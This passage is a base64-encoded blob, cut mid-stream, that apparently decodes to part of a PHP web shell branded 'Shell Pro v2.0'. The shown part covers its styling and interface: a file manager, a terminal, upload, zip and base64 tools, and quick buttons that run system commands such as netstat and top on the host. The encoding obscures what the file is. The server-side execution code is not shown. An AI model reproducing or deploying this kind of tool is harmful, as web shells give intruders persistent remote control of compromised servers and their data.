iAgICAgICAgLnAtMjAgeyBwYWRkaW5nOiAyMHB4OyB9DQogICAgICAgIA0KICAgICAgICAvKiBEYXJrIFNjcm9sbGJhciAqLw0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyIHsNCiAgICAgICAgICAgIHdpZHRoOiA4cHg7DQogICAgICAgICAgICBoZWlnaHQ6IDhweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy10ZXJ0aWFyeSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10aHVtYjpob3ZlciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1hY2NlbnQpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvKiBSZXNwb25zaXZlICovDQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgew0KICAgICAgICAgICAgLmFwcCB7DQogICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLnNpZGViYXIgew0KICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgICAgIGhlaWdodDogYXV0bzsNCiAgICAgICAgICAgICAgICBwb3NpdGlvbjogc3RhdGljOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAuc3RhdHMtZ3JpZCB7DQogICAgICAgICAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoMiwgMWZyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDQ4MHB4KSB7DQogICAgICAgICAgICAuc3RhdHMtZ3JpZCB7DQogICAgICAgICAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIC5maWxlcy1ncmlkIHsNCiAgICAgICAgICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIDwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCiAgICA8ZGl2IGNsYXNzPSJhcHAiPg0KICAgICAgICA8IS0tIFNpZGViYXIgLS0+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGViYXIiPg0KICAgICAgICAgICAgPCEtLSBMb2dvIC0tPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIgbWItMjAiPg0KICAgICAgICAgICAgICAgIDxoMiBzdHlsZT0iY29sb3I6IHZhcigtLWFjY2VudCk7IG1hcmdpbi1ib3R0b206IDVweDsiPg0KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXRlcm1pbmFsIj48L2k+IFNoZWxsIFBybw0KICAgICAgICAgICAgICAgIDwvaDI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1zdWJ0aXRsZSI+djIuMCBQcm9mZXNzaW9uYWw8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8IS0tIE5hdmlnYXRpb24gLS0+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtc2VjdGlvbiI+DQogICAgICAgICAgICAgICAgPGgzPlN5c3RlbTwvaDM+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibmF2LWJ0biBhY3RpdmUiIG9uY2xpY2s9InNob3dUYWIoJ2Rhc2hib2FyZCcpIj4NCiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS10YWNob21ldGVyLWFsdCI+PC9pPiBEYXNoYm9hcmQNCiAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJuYXYtYnRuIiBvbmNsaWNrPSJzaG93VGFiKCdmaWxlcycpIj4NCiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1mb2xkZXIiPjwvaT4gRmlsZSBNYW5hZ2VyDQogICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibmF2LWJ0biIgb25jbGljaz0ic2hvd1RhYigndGVybWluYWwnKSI+DQogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtdGVybWluYWwiPjwvaT4gVGVybWluYWwNCiAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtc2VjdGlvbiI+DQogICAgICAgICAgICAgICAgPGgzPlRvb2xzPC9oMz4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJuYXYtYnRuIiBvbmNsaWNrPSJzaG93TW9kYWwoJ3VwbG9hZE1vZGFsJykiPg0KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXVwbG9hZCI+PC9pPiBVcGxvYWQNCiAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJuYXYtYnRuIiBvbmNsaWNrPSJzaG93TW9kYWwoJ2NyZWF0ZU1vZGFsJykiPg0KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXBsdXMiPjwvaT4gQ3JlYXRlIE5ldw0KICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9Im5hdi1idG4iIG9uY2xpY2s9InNob3dNb2RhbCgnYmFzZTY0TW9kYWwnKSI+DQogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtZmlsZS1jb2RlIj48L2k+IEJhc2U2NA0KICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9Im5hdi1idG4iIG9uY2xpY2s9InNob3dNb2RhbCgnemlwTW9kYWwnKSI+DQogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtZmlsZS1hcmNoaXZlIj48L2k+IFppcC9VbnppcA0KICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9Im5hdi1idG4iIG9uY2xpY2s9InNob3dNb2RhbCgnaGlzdG9yeU1vZGFsJykiPg0KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWhpc3RvcnkiPjwvaT4gQ29tbWFuZCBIaXN0b3J5DQogICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPCEtLSBTZXR0aW5ncyAtLT4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdi1zZWN0aW9uIG10LWF1dG8iPg0KICAgICAgICAgICAgICAgIDxoMz5TZXR0aW5nczwvaDM+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGdhcC0xMCBtYi0xMCI+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IGJ0bi1pY29uIiBvbmNsaWNrPSJ0b2dnbGVUaGVtZSgpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtbW9vbiI+PC9pPg0KICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkgYnRuLWljb24iIG9uY2xpY2s9ImxvY2F0aW9uLnJlbG9hZCgpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtc3luYyI+PC9pPg0KICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8YSBocmVmPSI/bG9nb3V0PTEiIGNsYXNzPSJidG4gYnRuLWRhbmdlciB3LTEwMCI+DQogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtc2lnbi1vdXQtYWx0Ij48L2k+IExvZ291dA0KICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgDQogICAgICAgIDwhLS0gTWFpbiBDb250ZW50IC0tPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICAgICAgPCEtLSBUb3AgQmFyIC0tPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yMCI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGp1c3RpZnktYmV0d2VlbiBhbGlnbi1jZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCcvJywgdHJpbSgkY3VycmVudERpciwgJy8nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGFydHMgYXMgJGkgPT4gJHBhcnQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggLj0gJy8nIC4gJHBhcnQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSA+IDApIGVjaG8gJzxzcGFuIGNsYXNzPSJicmVhZGNydW1iLXNlcGFyYXRvciI+Lzwvc3Bhbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/ZGlyPScgLiB1cmxlbmNvZGUoJHBhdGgpIC4gJyIgY2xhc3M9ImJyZWFkY3J1bWItaXRlbSI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkcGFydCA/OiAncm9vdCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLXN1YnRpdGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+PD9waHAgZWNobyAkc3lzaW5mb1sndXNlciddOyA/Pjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyI+UEhQIDw/cGhwIGVjaG8gJHN5c2luZm9bJ3BocF92ZXJzaW9uJ107ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS13YXJuaW5nIj48P3BocCBlY2hvICRkaXJfcGVybXM7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGdhcC0xMCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiIG9uY2xpY2s9InNob3dNb2RhbCgnY3JlYXRlTW9kYWwnKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1wbHVzIj48L2k+IE5ldw0KICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNlY29uZGFyeSIgb25jbGljaz0ic2hvd01vZGFsKCd1cGxvYWRNb2RhbCcpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXVwbG9hZCI+PC9pPiBVcGxvYWQNCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1pbmZvIiBvbmNsaWNrPSJzaG93TW9kYWwoJ2Jhc2U2NE1vZGFsJykiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtZmlsZS1jb2RlIj48L2k+IEJhc2U2NA0KICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDwhLS0gU3RhdHMgLS0+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0cy1ncmlkIG1iLTIwIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWNhcmQiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWljb24iPjxpIGNsYXNzPSJmYXMgZmEtaGRkIj48L2k+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/cGhwIGVjaG8gJHN5c2luZm9bJ2Rpc2tfZnJlZSddOyA/PiBHQjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5GcmVlIFNwYWNlPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2dyZXNzIG10LTEwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2dyZXNzLWJhciIgc3R5bGU9IndpZHRoOiA8P3BocCBlY2hvICgkc3lzaW5mb1snZGlza19mcmVlJ10vJHN5c2luZm9bJ2Rpc2tfdG90YWwnXSkqMTAwOyA/PiUiPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWNhcmQiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWljb24iPjxpIGNsYXNzPSJmYXMgZmEtbWVtb3J5Ij48L2k+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/cGhwIGVjaG8gJHN5c2luZm9bJ21lbW9yeV91c2FnZSddOyA/PiBNQjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5NZW1vcnkgVXNhZ2U8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWNhcmQiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWljb24iPjxpIGNsYXNzPSJmYXMgZmEtZm9sZGVyIj48L2k+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/cGhwIGVjaG8gY291bnQoJGZpbGVzKSAtIDI7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtbGFiZWwiPkZpbGVzICYgRm9sZGVyczwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtY2FyZCI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtaWNvbiI+PGkgY2xhc3M9ImZhcyBmYS1ib2x0Ij48L2k+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/cGhwIGVjaG8gJHN5c2luZm9bJ3VwbG9hZF9tYXgnXTsgPz48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+TWF4IFVwbG9hZDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDwhLS0gTWVzc2FnZSBBbGVydCAtLT4NCiAgICAgICAgICAgIDw/cGhwIGlmICgkbWVzc2FnZSk6ID8+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWxlcnQgPD9waHAgZWNobyBzdHJwb3MoJG1lc3NhZ2UsICfinJMnKSAhPT0gZmFsc2UgPyAnYWxlcnQtc3VjY2VzcycgOiAnYWxlcnQtZXJyb3InOyA/PiI+DQogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtPD9waHAgZWNobyBzdHJwb3MoJG1lc3NhZ2UsICfinJMnKSAhPT0gZmFsc2UgPyAnY2hlY2stY2lyY2xlJyA6ICdleGNsYW1hdGlvbi1jaXJjbGUnOyA/PiI+PC9pPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG1lc3NhZ2UpOyA/Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDwhLS0gVGFicyBDb250ZW50IC0tPg0KICAgICAgICAgICAgPGRpdiBpZD0iZGFzaGJvYXJkVGFiIiBjbGFzcz0idGFiLWNvbnRlbnQiPg0KICAgICAgICAgICAgICAgIDwhLS0gUXVpY2sgQWN0aW9ucyAtLT4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIwIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC10aXRsZSI+UXVpY2sgQWN0aW9uczwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGdhcC0xMCBmbGV4LXdyYXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkiIG9uY2xpY2s9ImV4ZWN1dGVRdWljaygncHdkJykiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtbWFwLW1hcmtlci1hbHQiPjwvaT4gQ3VycmVudCBEaXINCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkiIG9uY2xpY2s9ImV4ZWN1dGVRdWljaygnbHMgLWxhJykiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtbGlzdCI+PC9pPiBMaXN0IEZpbGVzDQogICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IiBvbmNsaWNrPSJleGVjdXRlUXVpY2soJ2RmIC1oJykiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtaGRkIj48L2k+IERpc2sgVXNhZ2UNCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkiIG9uY2xpY2s9ImV4ZWN1dGVRdWljaygnZnJlZSAtbScpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLW1lbW9yeSI+PC9pPiBNZW1vcnkgSW5mbw0KICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNlY29uZGFyeSIgb25jbGljaz0iZXhlY3V0ZVF1aWNrKCd0b3AgLW4gMSAtYicpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXRhc2tzIj48L2k+IFRvcCBQcm9jZXNzZXMNCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkiIG9uY2xpY2s9ImV4ZWN1dGVRdWljaygnbmV0c3RhdCAtdHVscG4nKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1uZXR3b3JrLXdpcmVkIj48L2k+IE5ldHdvcmsNCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1pbmZvIiBvbmNsaWNrPSJzaG93TW9kYWwoJ3ppcE1vZGFsJykiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtZmlsZS1hcmNoaXZlIj48L2k+IFppcCBUb29scw0KICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDwhLS0gRmlsZSBNYW5hZ2VyIFByZXZpZXcgLS0+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtdGl0bGUiPlJlY2VudCBGaWxlczwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tc2Vjb25kYXJ5IiBvbmNsaWNrPSJzaG93VGFiKCdmaWxlcycpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBWaWV3IEFsbCA8aSBjbGFzcz0iZmFzIGZhLWFycm93LXJpZ2h0Ij48L2k+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGVzLWdyaWQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcmVjZW50ID0gYXJyYXlfc2xpY2UoJGZpbGVzLCAwLCA4KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRyZWNlbnQgYXMgJGZpbGUpOiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPT0gJy4nIHx8ICRmaWxlID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGN1cnJlbnREaXIgLiAnLycgLiAkZmlsZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXNEaXIgPSBpc19kaXIoJHBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzaXplID0gJGlzRGlyID8gJy0nIDogZm9ybWF0X3NpemUoQGZpbGVzaXplKCRwYXRoKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGljb24gPSAkaXNEaXIgPyAnZmEtZm9sZGVyIHRleHQtd2FybmluZycgOiBnZXRfZmlsZV9pY29uKCRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWl0ZW0iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaWNvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgPD9waHAgZWNobyAkaWNvbjsgPz4iPjwvaT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLW5hbWUiIHRpdGxlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkc2l6ZTsgPz4g4oCiIDw/cGhwIGVjaG8gZGF0ZSgnbS9kIEg6aScsIEBmaWxlbXRpbWUoJHBhdGgpKTsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWFjdGlvbnMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGlzRGlyKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhdGgpOyA/PiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXNlY29uZGFyeSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1mb2xkZXItb3BlbiI+PC9pPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2FjdGlvbj12aWV3JmZpbGU9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PiZkaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnREaXIpOyA/PiIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXNlY29uZGFyeSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1leWUiPjwvaT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9hY3Rpb249ZG93bmxvYWQmZmlsZT08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8+JmRpcj08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudERpcik7ID8+IiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImJ0biBidG4tc20gYnRuLXNlY29uZGFyeSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWRvd25sb2FkIj48L2k+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8